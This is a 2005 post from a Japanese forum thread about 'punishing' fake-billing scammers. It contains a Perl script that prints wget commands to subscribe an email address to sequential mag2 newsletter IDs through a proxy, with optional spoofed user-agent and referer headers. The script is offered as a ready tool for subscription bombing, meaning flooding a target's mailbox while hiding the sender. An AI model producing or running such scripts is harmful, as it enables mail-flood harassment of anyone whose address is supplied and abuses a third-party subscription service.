☆☆架空請求業者におしおきするスレ４☆☆

[0483 名無しプログラマ ◆UUguph2t1E 2005/05/21(土) 16:17:38 ID:Ytk1NX/J0]

# 文字列を出力するだけのPerlスクリプト
$mail = '[e-mail]'; # メールアドレス
$ENV{'http_proxy'} = 'proxy.server.jp'; # プロキシサーバ
$opt .= " --proxy=on";
#$opt .= " --user-agent=Mozilla/4.0"; # お好みで
#$opt .= " --referer='http://...'";
for ($i = 0; $i<10; $i++) {
$id = sprintf("%010d",$i);
print "wget${opt} 'h"."ttp://cgi.mag2.com/cgi-bin/reg?id=${id}&e=${mail}'\n";
}